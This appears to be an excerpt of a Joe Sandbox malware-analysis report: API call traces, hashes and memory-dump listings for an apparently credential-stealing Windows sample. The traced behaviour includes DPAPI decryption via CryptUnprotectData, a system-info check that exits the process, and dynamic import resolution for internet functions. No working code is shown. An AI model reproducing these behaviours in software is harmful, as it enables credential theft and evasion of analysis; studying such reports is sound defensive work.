Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8f250699f34ddef1019bd2018157bfb4b1e3376a27f4f32368ce59d1b07fd04e
Instruction ID: f223b76de9d56b1615f0c1e30c0564d786354099ffad2d4c29ec8d1c02aa0df4
Opcode Fuzzy Hash: 8f250699f34ddef1019bd2018157bfb4b1e3376a27f4f32368ce59d1b07fd04e
Instruction Fuzzy Hash: 2A1152B1E49218DBDB249B58DC49F99B7B8FB04711F104399E516932C0D7785E44CF51

Function 006F9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006F9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 006F9BA3
LocalFree.KERNEL32(?), ref: 006F9BD3

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 25c0b31400a7b48fa1868c3fc87d60720871533163a476564b2480cd5512e5ab
Instruction ID: 09c56cbd509556e3697a0ba4bf83ac6efdcb09eda39dcc86b5d4b68af4562d35
Opcode Fuzzy Hash: 25c0b31400a7b48fa1868c3fc87d60720871533163a476564b2480cd5512e5ab
Instruction Fuzzy Hash: 7011C9B8A00209EFDB04DF94D985AAEB7B5FF88300F104598E915A7350D774AE10CFA1

Function 00707850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006F11B7), ref: 00707880
RtlAllocateHeap.NTDLL(00000000), ref: 00707887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0070789F

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b418a3cfc1f0ecdfd03ca4d9df3575de35c438aa0e7811ea20fcb740f1b9c17f
Instruction ID: 504dbe470fca54453e0adae1c72e6ad85b8dfd3a6a666730d9c27ceb8fc8066f
Opcode Fuzzy Hash: b418a3cfc1f0ecdfd03ca4d9df3575de35c438aa0e7811ea20fcb740f1b9c17f
Instruction Fuzzy Hash: 18F04FF1D48208EBC714DF98DD49BAEFBF8EB04721F10025AFA05A2680C7781904CFA1

Function 006F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 006F116A
ExitProcess.KERNEL32 ref: 006F117E

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: ccb52ffa14c1ab5c817faffc21b7d0da30c9b23ba8f5f95a19b53f0305fbd673
Instruction ID: 486e83a9324fbc269ee6269330e38725f30a6df521380c666a2a972e05424907
Opcode Fuzzy Hash: ccb52ffa14c1ab5c817faffc21b7d0da30c9b23ba8f5f95a19b53f0305fbd673
Instruction Fuzzy Hash: 03D05E74D0830CDBCB00DFE0D8896EDBBB8FB08321F000594D90662340EA315891CAA6

Function 00709C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01225950), ref: 00709C2D
GetProcAddress.KERNEL32(74DD0000,01225A70), ref: 00709C45
GetProcAddress.KERNEL32(74DD0000,01239670), ref: 00709C5E
GetProcAddress.KERNEL32(74DD0000,01239610), ref: 00709C76
GetProcAddress.KERNEL32(74DD0000,012396B8), ref: 00709C8E
GetProcAddress.KERNEL32(74DD0000,01239688), ref: 00709CA7
GetProcAddress.KERNEL32(74DD0000,0122BA18), ref: 00709CBF
GetProcAddress.KERNEL32(74DD0000,0123CF48), ref: 00709CD7
GetProcAddress.KERNEL32(74DD0000,0123D038), ref: 00709CF0
GetProcAddress.KERNEL32(74DD0000,0123CF18), ref: 00709D08
GetProcAddress.KERNEL32(74DD0000,0123CE10), ref: 00709D20
GetProcAddress.KERNEL32(74DD0000,01225A90), ref: 00709D39
GetProcAddress.KERNEL32(74DD0000,01225710), ref: 00709D51
GetProcAddress.KERNEL32(74DD0000,012258D0), ref: 00709D69
GetProcAddress.KERNEL32(74DD0000,01225890), ref: 00709D82
GetProcAddress.KERNEL32(74DD0000,0123CFA8), ref: 00709D9A
GetProcAddress.KERNEL32(74DD0000,0123CE40), ref: 00709DB2
GetProcAddress.KERNEL32(74DD0000,0122B5E0), ref: 00709DCB
GetProcAddress.KERNEL32(74DD0000,01225750), ref: 00709DE3
GetProcAddress.KERNEL32(74DD0000,0123CF60), ref: 00709DFB
GetProcAddress.KERNEL32(74DD0000,0123D020), ref: 00709E14
GetProcAddress.KERNEL32(74DD0000,0123D050), ref: 00709E2C
GetProcAddress.KERNEL32(74DD0000,0123CFC0), ref: 00709E44
GetProcAddress.KERNEL32(74DD0000,012258F0), ref: 00709E5D
GetProcAddress.KERNEL32(74DD0000,0123CFD8), ref: 00709E75
GetProcAddress.KERNEL32(74DD0000,0123CFF0), ref: 00709E8D
GetProcAddress.KERNEL32(74DD0000,0123CE28), ref: 00709EA6
GetProcAddress.KERNEL32(74DD0000,0123D068), ref: 00709EBE
GetProcAddress.KERNEL32(74DD0000,0123CF30), ref: 00709ED6
GetProcAddress.KERNEL32(74DD0000,0123CE58), ref: 00709EEF
GetProcAddress.KERNEL32(74DD0000,0123D0E0), ref: 00709F07
GetProcAddress.KERNEL32(74DD0000,0123CEB8), ref: 00709F1F
GetProcAddress.KERNEL32(74DD0000,0123CE70), ref: 00709F38
GetProcAddress.KERNEL32(74DD0000,0123A870), ref: 00709F50
GetProcAddress.KERNEL32(74DD0000,0123D080), ref: 00709F68
GetProcAddress.KERNEL32(74DD0000,0123CF00), ref: 00709F81
GetProcAddress.KERNEL32(74DD0000,01225970), ref: 00709F99
GetProcAddress.KERNEL32(74DD0000,0123D0B0), ref: 00709FB1
GetProcAddress.KERNEL32(74DD0000,01225770), ref: 00709FCA
GetProcAddress.KERNEL32(74DD0000,0123CE88), ref: 00709FE2
GetProcAddress.KERNEL32(74DD0000,0123CEE8), ref: 00709FFA
GetProcAddress.KERNEL32(74DD0000,01225790), ref: 0070A013
GetProcAddress.KERNEL32(74DD0000,01225AB0), ref: 0070A02B
LoadLibraryA.KERNEL32(0123D0C8,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A03D
LoadLibraryA.KERNEL32(0123CEA0,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A04E
LoadLibraryA.KERNEL32(0123CDF8,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A060
LoadLibraryA.KERNEL32(0123D008,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A072
LoadLibraryA.KERNEL32(0123CED0,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A083
LoadLibraryA.KERNEL32(0123CF78,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A095
LoadLibraryA.KERNEL32(0123D098,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A0A7
LoadLibraryA.KERNEL32(0123CF90,?,00705CA3,00710AEB,?,?,?,?,?,?,?,?,?,?,00710AEA,00710AE3), ref: 0070A0B8
GetProcAddress.KERNEL32(75290000,01225DF0), ref: 0070A0DA
GetProcAddress.KERNEL32(75290000,0123D3E0), ref: 0070A0F2
GetProcAddress.KERNEL32(75290000,01239218), ref: 0070A10A
GetProcAddress.KERNEL32(75290000,0123D1D0), ref: 0070A123
GetProcAddress.KERNEL32(75290000,01225BB0), ref: 0070A13B
GetProcAddress.KERNEL32(6FCD0000,0122B860), ref: 0070A160
GetProcAddress.KERNEL32(6FCD0000,01225B90), ref: 0070A179
GetProcAddress.KERNEL32(6FCD0000,0122B630), ref: 0070A191
GetProcAddress.KERNEL32(6FCD0000,0123D230), ref: 0070A1A9
GetProcAddress.KERNEL32(6FCD0000,0123D260), ref: 0070A1C2
GetProcAddress.KERNEL32(6FCD0000,01225DD0), ref: 0070A1DA
GetProcAddress.KERNEL32(6FCD0000,01225DB0), ref: 0070A1F2
GetProcAddress.KERNEL32(6FCD0000,0123D398), ref: 0070A20B
GetProcAddress.KERNEL32(752C0000,01225D10), ref: 0070A22C
GetProcAddress.KERNEL32(752C0000,01225B70), ref: 0070A244
GetProcAddress.KERNEL32(752C0000,0123D248), ref: 0070A25D
GetProcAddress.KERNEL32(752C0000,0123D158), ref: 0070A275
GetProcAddress.KERNEL32(752C0000,01225AD0), ref: 0070A28D
GetProcAddress.KERNEL32(74EC0000,0122B6A8), ref: 0070A2B3
GetProcAddress.KERNEL32(74EC0000,0122B6D0), ref: 0070A2CB
GetProcAddress.KERNEL32(74EC0000,0123D188), ref: 0070A2E3
GetProcAddress.KERNEL32(74EC0000,01225E30), ref: 0070A2FC
GetProcAddress.KERNEL32(74EC0000,01225B30), ref: 0070A314
GetProcAddress.KERNEL32(74EC0000,0122B720), ref: 0070A32C
GetProcAddress.KERNEL32(75BD0000,0123D0F8), ref: 0070A352
GetProcAddress.KERNEL32(75BD0000,01225C70), ref: 0070A36A
GetProcAddress.KERNEL32(75BD0000,012391A8), ref: 0070A382
GetProcAddress.KERNEL32(75BD0000,0123D200), ref: 0070A39B
GetProcAddress.KERNEL32(75BD0000,0123D1E8), ref: 0070A3B3
GetProcAddress.KERNEL32(75BD0000,01225E10), ref: 0070A3CB
GetProcAddress.KERNEL32(75BD0000,01225AF0), ref: 0070A3E4
GetProcAddress.KERNEL32(75BD0000,0123D3B0), ref: 0070A3FC
GetProcAddress.KERNEL32(75BD0000,0123D128), ref: 0070A414
GetProcAddress.KERNEL32(75A70000,01225D50), ref: 0070A436
GetProcAddress.KERNEL32(75A70000,0123D1A0), ref: 0070A44E
GetProcAddress.KERNEL32(75A70000,0123D338), ref: 0070A466
GetProcAddress.KERNEL32(75A70000,0123D2D8), ref: 0070A47F
GetProcAddress.KERNEL32(75A70000,0123D218), ref: 0070A497
GetProcAddress.KERNEL32(75450000,01225C90), ref: 0070A4B8
GetProcAddress.KERNEL32(75450000,01225C30), ref: 0070A4D1
GetProcAddress.KERNEL32(75DA0000,01225B10), ref: 0070A4F2
GetProcAddress.KERNEL32(75DA0000,0123D2A8), ref: 0070A50A
GetProcAddress.KERNEL32(6F070000,01225B50), ref: 0070A530
GetProcAddress.KERNEL32(6F070000,01225E50), ref: 0070A548
GetProcAddress.KERNEL32(6F070000,01225BD0), ref: 0070A560
GetProcAddress.KERNEL32(6F070000,0123D140), ref: 0070A579
GetProcAddress.KERNEL32(6F070000,01225C50), ref: 0070A591
GetProcAddress.KERNEL32(6F070000,01225BF0), ref: 0070A5A9
GetProcAddress.KERNEL32(6F070000,01225C10), ref: 0070A5C2
GetProcAddress.KERNEL32(6F070000,01225CB0), ref: 0070A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0070A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0070A607
GetProcAddress.KERNEL32(75AF0000,0123D278), ref: 0070A629
GetProcAddress.KERNEL32(75AF0000,01239228), ref: 0070A641
GetProcAddress.KERNEL32(75AF0000,0123D290), ref: 0070A659
GetProcAddress.KERNEL32(75AF0000,0123D3C8), ref: 0070A672
GetProcAddress.KERNEL32(75D90000,01225CD0), ref: 0070A693
GetProcAddress.KERNEL32(6F9B0000,0123D170), ref: 0070A6B4
GetProcAddress.KERNEL32(6F9B0000,01225D30), ref: 0070A6CD
GetProcAddress.KERNEL32(6F9B0000,0123D1B8), ref: 0070A6E5
GetProcAddress.KERNEL32(6F9B0000,0123D2C0), ref: 0070A6FD

Strings

InternetSetOptionA, xrefs: 0070A5E5
HttpQueryInfoA, xrefs: 0070A5FC

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 3139307d8f1cfbb4b4e229bd800f605d56e9ab82e7cad766767838bc4a481481
Instruction ID: ed4577f6b6cb8183853d77c7ae87083fb68e35eac36f1616c254c47e7b4a7d7b
Opcode Fuzzy Hash: 3139307d8f1cfbb4b4e229bd800f605d56e9ab82e7cad766767838bc4a481481
Instruction Fuzzy Hash: 59621AB5A2C200AFC744DFA9ED88D6637F9F79C301714851AA68AC3274D7399841FF52

Function 006F7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006F7724
RtlAllocateHeap.NTDLL(00000000), ref: 006F772B
lstrcat.KERNEL32(?,01239C80), ref: 006F78DB
lstrcat.KERNEL32(?,?), ref: 006F78EF
lstrcat.KERNEL32(?,?), ref: 006F7903
lstrcat.KERNEL32(?,?), ref: 006F7917
lstrcat.KERNEL32(?,0123DE88), ref: 006F792B
lstrcat.KERNEL32(?,0123DEB8), ref: 006F793F
lstrcat.KERNEL32(?,0123DF48), ref: 006F7952
lstrcat.KERNEL32(?,0123DED0), ref: 006F7966
lstrcat.KERNEL32(?,01239D08), ref: 006F797A
lstrcat.KERNEL32(?,?), ref: 006F798E
lstrcat.KERNEL32(?,?), ref: 006F79A2
lstrcat.KERNEL32(?,?), ref: 006F79B6
lstrcat.KERNEL32(?,0123DE88), ref: 006F79C9
lstrcat.KERNEL32(?,0123DEB8), ref: 006F79DD
lstrcat.KERNEL32(?,0123DF48), ref: 006F79F1
lstrcat.KERNEL32(?,0123DED0), ref: 006F7A04
lstrcat.KERNEL32(?,01239D70), ref: 006F7A18
lstrcat.KERNEL32(?,?), ref: 006F7A2C
lstrcat.KERNEL32(?,?), ref: 006F7A40
lstrcat.KERNEL32(?,?), ref: 006F7A54
lstrcat.KERNEL32(?,0123DE88), ref: 006F7A68
lstrcat.KERNEL32(?,0123DEB8), ref: 006F7A7B
lstrcat.KERNEL32(?,0123DF48), ref: 006F7A8F
lstrcat.KERNEL32(?,0123DED0), ref: 006F7AA3
lstrcat.KERNEL32(?,01239DD8), ref: 006F7AB6
lstrcat.KERNEL32(?,?), ref: 006F7ACA
lstrcat.KERNEL32(?,?), ref: 006F7ADE
lstrcat.KERNEL32(?,?), ref: 006F7AF2
lstrcat.KERNEL32(?,0123DE88), ref: 006F7B06
lstrcat.KERNEL32(?,0123DEB8), ref: 006F7B1A
lstrcat.KERNEL32(?,0123DF48), ref: 006F7B2D
lstrcat.KERNEL32(?,0123DED0), ref: 006F7B41
lstrcat.KERNEL32(?,0123E648), ref: 006F7B55
lstrcat.KERNEL32(?,?), ref: 006F7B69
lstrcat.KERNEL32(?,?), ref: 006F7B7D
lstrcat.KERNEL32(?,?), ref: 006F7B91
lstrcat.KERNEL32(?,0123DE88), ref: 006F7BA4
lstrcat.KERNEL32(?,0123DEB8), ref: 006F7BB8
lstrcat.KERNEL32(?,0123DF48), ref: 006F7BCC
lstrcat.KERNEL32(?,0123DED0), ref: 006F7BDF
lstrcat.KERNEL32(?,0123E6B0), ref: 006F7BF3
lstrcat.KERNEL32(?,?), ref: 006F7C07
lstrcat.KERNEL32(?,?), ref: 006F7C1B
lstrcat.KERNEL32(?,?), ref: 006F7C2F
lstrcat.KERNEL32(?,0123DE88), ref: 006F7C43
lstrcat.KERNEL32(?,0123DEB8), ref: 006F7C56
lstrcat.KERNEL32(?,0123DF48), ref: 006F7C6A
lstrcat.KERNEL32(?,0123DED0), ref: 006F7C7E

Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,007117FC), ref: 006F7606
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,00000000), ref: 006F7648
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020, : ), ref: 006F765A
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,00000000), ref: 006F768F
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,00711804), ref: 006F76A0
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,00000000), ref: 006F76D3
Part of subcall function 006F75D0: lstrcat.KERNEL32(2F98D020,00711808), ref: 006F76ED
Part of subcall function 006F75D0: task.LIBCPMTD ref: 006F76FB

lstrcat.KERNEL32(?,0123E848), ref: 006F7E0B
lstrcat.KERNEL32(?,0123D720), ref: 006F7E1E
lstrlen.KERNEL32(2F98D020), ref: 006F7E2B
lstrlen.KERNEL32(2F98D020), ref: 006F7E3B

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
